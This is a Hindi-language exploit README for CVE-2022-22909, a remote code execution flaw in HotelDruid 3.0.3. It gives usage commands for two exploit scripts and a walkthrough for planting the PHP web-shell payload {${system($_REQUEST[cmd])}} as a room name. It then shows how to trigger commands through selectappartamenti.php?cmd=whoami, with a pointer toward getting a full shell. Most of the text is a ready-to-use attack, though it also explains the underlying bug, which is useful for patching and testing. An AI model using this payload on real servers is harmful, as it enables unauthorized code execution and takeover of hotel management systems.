CVE-2022-22909 होटल ड्रूइड 3.0.3 - रिमोट कोड एक्ज़ीक्यूशन (RCE)

kaal द्वारा एक्सप्लॉइट

एक्सप्लॉइट्स

1. HotelDruidExploit.py

यह एक्सप्लॉइट हमारे PHP पेलोड को कमरे के नाम के रूप में एक नया कमरा बनाएगा।

उपयोग : $ ./HotelDruidExploit.py -h

$ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid

---

2. HotelDruidExploitRoom.py

यह एक्सप्लॉइट तब काम करेगा जब आप पहले से कमरे का नाम जानते हों।

उपयोग : $ ./HotelDruidExploitRoom.py -u "http://127.0.0.1/hoteldruid" -r "abc"

---

एक्सप्लॉइट वॉकथ्रू :

1). होटल ड्रूइड पेज पर जाएँ।

2). Tables -> Rooms पर क्लिक करें।

3). Create New Room फ़ील्ड में नीचे दिया गया php कोड डालें, और Add पर क्लिक करें।

{${system($_REQUEST[cmd])}}

4). आपको "Room" नाम फ़ील्ड में हमारे पेलोड के साथ एक नया कमरा दिखाई देगा।

5). नीचे दिए गए लिंक पर जाएँ और आपको कमांड एक्ज़ीक्यूशन मिलेगा, बाद में आप पूर्ण शेल प्राप्त कर सकते हैं।

http://127.0.0.1/hoteldruid/dati/selectappartamenti.php?cmd=whoami

नोट : अपने hoteldruid लक्ष्य IP के साथ Ip बदलें।

कमज़ोरियों का विवरण :

यह कमज़ोरी इसलिए होती है क्योंकि कमरे के नाम /var/www/html/hoteldruid/dati/selectappartamenti.php के अंदर संग्रहीत किए जा रहे हैं।

और selectappartamenti.php एक PHP फ़ाइल है, इसलिए उस फ़ाइल के अंदर कोई भी PHP कोड सर्वर द्वारा निष्पादित हो जाएगा।